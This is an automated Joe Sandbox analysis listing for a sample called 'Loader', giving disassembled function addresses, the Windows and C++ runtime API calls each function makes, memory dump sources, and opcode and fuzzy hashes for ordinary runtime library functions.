Instruction ID: 098dcab3eb51cd47c21b0a3688c060c76b7316d1dfeed41f468e80aa48f010c4
Opcode Fuzzy Hash: 83969f3a92913ea3967f170b0d581d26a87ebd5a2dfda738a7e1c8882eadca6f
Instruction Fuzzy Hash: 8E01A231964719EFDB01CF55CC05BAEB7B8FB48B1AF010525F852A2290DB759900CB90

Function 0093D7DA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0093D85F
__alloca_probe_16.LIBCMT ref: 0093D928
__freea.LIBCMT ref: 0093D98F

Part of subcall function 0093C001: RtlAllocateHeap.NTDLL(00000000,0093E025,?,?,0093E025,00000220,?,00000000,?), ref: 0093C033

__freea.LIBCMT ref: 0093D9A2
__freea.LIBCMT ref: 0093D9AF

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 54d75b4f3754a3723fb12adef2dba45e19932529ea1e7f28ae67128e6c6e4d28
Instruction ID: feea670c41c1c43a184aee5dda77e098cb3f219aa04ed9ccd9bcf52558caff58
Opcode Fuzzy Hash: 54d75b4f3754a3723fb12adef2dba45e19932529ea1e7f28ae67128e6c6e4d28
Instruction Fuzzy Hash: 3451B1B6602206AFEB21AF65EC51FBB36ADEF84710F150528FD04E6151EB75DC108FA2

Function 0092F0E1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0092F0F5
AcquireSRWLockExclusive.KERNEL32(00928FD8), ref: 0092F114
AcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F142
TryAcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F19D
TryAcquireSRWLockExclusive.KERNEL32(00928FD8,0092A490,?), ref: 0092F1B4

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 5a1e92711aa70f57d82eb04563303efe76d1ff6a00f7162b61cc5bf1940d85ef
Instruction ID: 30c7f73e37054134540e3e99747577cec98e8e08b0b17e292ab4a1acc9d52b8a
Opcode Fuzzy Hash: 5a1e92711aa70f57d82eb04563303efe76d1ff6a00f7162b61cc5bf1940d85ef
Instruction Fuzzy Hash: 84417C3150872ADFCB24DF65E8A096AB3F9FF04311BA04A39D456C794AD730F9A4CB50

Function 00923E10 Relevance: 7.6, APIs: 5, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00923E45
std::_Lockit::_Lockit.LIBCPMT ref: 00923E5F
std::_Lockit::~_Lockit.LIBCPMT ref: 00923E80
__Getctype.LIBCPMT ref: 00923F32
std::_Lockit::~_Lockit.LIBCPMT ref: 00923F78

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: b6a7b6c56a93ae70ba3e2822e7d578fb2382cc4d3863585bc852a6dab498b05c
Instruction ID: 166dbd62108c59295251ec386132e65fcc1fba1655644ba6d9e3ba2dc6b19e68
Opcode Fuzzy Hash: b6a7b6c56a93ae70ba3e2822e7d578fb2382cc4d3863585bc852a6dab498b05c
Instruction Fuzzy Hash: 06418DB1D003248FCB10DF95E841BAEBBB5FF88710F048119D8156B399DB38AA05CF91

Function 0092D5B2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092D5B9
std::_Lockit::_Lockit.LIBCPMT ref: 0092D5C3
int.LIBCPMT ref: 0092D5DA

Part of subcall function 0092C2D5: std::_Lockit::_Lockit.LIBCPMT ref: 0092C2E6
Part of subcall function 0092C2D5: std::_Lockit::~_Lockit.LIBCPMT ref: 0092C300

codecvt.LIBCPMT ref: 0092D5FD
std::_Lockit::~_Lockit.LIBCPMT ref: 0092D634

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 61ebc0ef329aaf863e9ca8e765bf05a56a2fad699ca2c6528d6ab2536e612a42
Instruction ID: 84917222c3e65a791201ff60ae7cc1841bbbb28a55283fc613d7a238adcb2c12
Opcode Fuzzy Hash: 61ebc0ef329aaf863e9ca8e765bf05a56a2fad699ca2c6528d6ab2536e612a42
Instruction Fuzzy Hash: 8201D2729012398FCB05EBA4E951BAD77B5AFC0320F240419F8146B289CF789E04CB81

Function 0092AF77 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092AF7E
std::_Lockit::_Lockit.LIBCPMT ref: 0092AF89
std::_Lockit::~_Lockit.LIBCPMT ref: 0092AFF7

Part of subcall function 0092AE4A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0092AE62

std::locale::_Setgloballocale.LIBCPMT ref: 0092AFA4
_Yarn.LIBCPMT ref: 0092AFBA

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 09170029a6bdc28f1b943d813a03f160616c4fe7d6c3a3d48fc2afb7e06220f0
Instruction ID: 2a588a339e476fb1243ebeb69226fb67b6f7ee78143af03e9ab64667fa32c3c4
Opcode Fuzzy Hash: 09170029a6bdc28f1b943d813a03f160616c4fe7d6c3a3d48fc2afb7e06220f0
Instruction Fuzzy Hash: 82017CB66057219FCB06EB21E862A7D7BA6FFC4351B144019E80557385CF38AE42DF82

Function 0092B845 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0092B8F9

Strings

MOC, xrefs: 0092B879
csm, xrefs: 0092B891
RCC, xrefs: 0092B885

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: b7df0bb7ea12cd873e3d481aa180d1886361d34c334b6f0d1578f4f9c752cdec
Instruction ID: 4a03610e708f8d72a8d92c28becba04c641be7a0d40e126bebff969fc77158e8
Opcode Fuzzy Hash: b7df0bb7ea12cd873e3d481aa180d1886361d34c334b6f0d1578f4f9c752cdec
Instruction Fuzzy Hash: 0421F579804629EFCF389F64E446BAEB7ECEF40324F148A1EE405D7294D7349A80CB90

Function 00946A30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00946ACC,00000000,?,0095D2B0,?,?,?,00946A03,00000004,InitializeCriticalSectionEx,00950D44,00950D4C), ref: 00946A3D
GetLastError.KERNEL32(?,00946ACC,00000000,?,0095D2B0,?,?,?,00946A03,00000004,InitializeCriticalSectionEx,00950D44,00950D4C,00000000,?,0093BCAC), ref: 00946A47
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00946A6F

Strings

api-ms-, xrefs: 00946A54

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 373eb3cedfaa3fdb1344077f46a5733d43bdc3fd628fc09ff3a2f54042760871
Instruction ID: 4e94a43c4853497a0a71caa58de0176d864b43425b89cd4a38acf35f8eed297b
Opcode Fuzzy Hash: 373eb3cedfaa3fdb1344077f46a5733d43bdc3fd628fc09ff3a2f54042760871
Instruction Fuzzy Hash: 1AE01A70384704BAEB205FA2EC06F393B689B51B46F908420FA4CA94E0DB62E8149646

Function 0094408E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F84A4DD6,00000000,00000000,?), ref: 009440F1

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00944343
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00944389
GetLastError.KERNEL32 ref: 0094442C

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: d1d2cb5556cdd1ac14ef089d8ae513b1225f47431f611b822902a99f55ac23d6
Instruction ID: 29e698ffeec422e8c9c11f0e510fbf735a03d6730ff34f52927a7a5027d8e061
Opcode Fuzzy Hash: d1d2cb5556cdd1ac14ef089d8ae513b1225f47431f611b822902a99f55ac23d6
Instruction Fuzzy Hash: FED16975E052589FCF15CFE9C880AEDBBB8FF49304F24452AE856EB262D630A941CF50

Function 0093B385 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0093B44C
___AdjustPointer.LIBCMT ref: 0093B46F
___AdjustPointer.LIBCMT ref: 0093B50B

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2b7640a4afc161ed7654b4788e6917e17170e62c78812564753e6760cae1ff57
Instruction ID: b7e1672910fe4c7856822174728ff05f32253cb9cd9893ea26f80887197e1db2
Opcode Fuzzy Hash: 2b7640a4afc161ed7654b4788e6917e17170e62c78812564753e6760cae1ff57
Instruction Fuzzy Hash: 5A51E272A017069FDB28CF55E865BAA77A8EF80710F14452DEE06876A2D735EC40CF94

Function 009273C0 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00927465
std::_Throw_Cpp_error.LIBCPMT ref: 00927535
std::_Throw_Cpp_error.LIBCPMT ref: 00927543
std::_Throw_Cpp_error.LIBCPMT ref: 00927551

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: f9969e517fe60e1855c186065a9aa39a5ff39f438a9fe7ffe1c098cb9cc5ce8b
Instruction ID: 63109fb9ffb9a5265cf0e10427f1bb3af95a625028f1f2ba920fa1c1398b861e
Opcode Fuzzy Hash: f9969e517fe60e1855c186065a9aa39a5ff39f438a9fe7ffe1c098cb9cc5ce8b
Instruction Fuzzy Hash: CE411CB19043258BDB20EFA4E841B5BF7B9FF84320F144539E45A576A5E734E801CB91

Function 00924600 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00924635
std::_Lockit::_Lockit.LIBCPMT ref: 00924652
std::_Lockit::~_Lockit.LIBCPMT ref: 00924673
std::_Lockit::~_Lockit.LIBCPMT ref: 00924720

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: e504a97ccfe2f7387603af238270422223536a050316f25dfab46189bb2bdae3
Instruction ID: 30dff4646f9412ac95e8b7a56baa57f98035ca262a0846d5f6e2e719c3500ea6
Opcode Fuzzy Hash: e504a97ccfe2f7387603af238270422223536a050316f25dfab46189bb2bdae3
Instruction Fuzzy Hash: 49415AB5D003298FCB10DF95E884BAEBBB9FB49321F044619E8156B395D734AD44CFA1

Function 00941EB6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00941F1A
__dosmaperr.LIBCMT ref: 00941F21
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00941F5B
__dosmaperr.LIBCMT ref: 00941F62

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: ac4df6edaa82de39ce3d7da3b6567db80b08d56a3c9126bbd4d599840832fcfe
Instruction ID: ed71c90dcf9bf40e3cc8271f4f86fc07716585dd1c0ead68118e0e7e13aea541
Opcode Fuzzy Hash: ac4df6edaa82de39ce3d7da3b6567db80b08d56a3c9126bbd4d599840832fcfe
Instruction Fuzzy Hash: 4621D771604205AFCB20AF76CC81D2BF7ADFF44364B108559FC6597150DB31EC818B90

Function 00932C92 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c8078205903895fd948f5d48cac530d7462cc1557f1b72a281a16a68282f55
Instruction ID: 33387d79178d9c3ad1c586126cf16f650e367a39d1042aebe00a7adf46aad2ec
Opcode Fuzzy Hash: c8c8078205903895fd948f5d48cac530d7462cc1557f1b72a281a16a68282f55
Instruction Fuzzy Hash: 6421A571604215AFDB20AF75DC81A6BB7ADEF85364F104915F96AD71A1EB31EC00CFA0

Function 009432AE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009432B6

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009432EE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0094330E

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 34cb7164d06627576c91ff460d8740276f1df23e351b3a9e0aebe60299b88697
Instruction ID: 41a4595ecfc9e720995d3f6e2b072a6fea47703926f2ccbf0625e367ded0dea8
Opcode Fuzzy Hash: 34cb7164d06627576c91ff460d8740276f1df23e351b3a9e0aebe60299b88697
Instruction Fuzzy Hash: C11145F16056157FAB212BB29C8ADBF7E6CCED6399B904424F641D2101FF24EE009BB1

Function 0092E982 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092E989
std::_Lockit::_Lockit.LIBCPMT ref: 0092E993
int.LIBCPMT ref: 0092E9AA

Part of subcall function 0092C2D5: std::_Lockit::_Lockit.LIBCPMT ref: 0092C2E6
Part of subcall function 0092C2D5: std::_Lockit::~_Lockit.LIBCPMT ref: 0092C300

std::_Lockit::~_Lockit.LIBCPMT ref: 0092EA04

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 01f7201e74d0b82d62706585314578caacc38f9d9b531afbec423903d37ace7d
Instruction ID: 84f2fb83fda30446fb1fa28018b43a6c3715661be23b74976670711cb7046a84
Opcode Fuzzy Hash: 01f7201e74d0b82d62706585314578caacc38f9d9b531afbec423903d37ace7d
Instruction Fuzzy Hash: 7811ED728002358FCB05EBA4E9A5BAD77B6BF90320F250418F8156B289DF749E00CB91

Function 0094AE90 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000), ref: 0094AEA7
GetLastError.KERNEL32(?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?,?,?,00943DC6,00000000), ref: 0094AEB3

Part of subcall function 0094AF10: CloseHandle.KERNEL32(FFFFFFFE,0094AEC3,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?,?), ref: 0094AF20

___initconout.LIBCMT ref: 0094AEC3

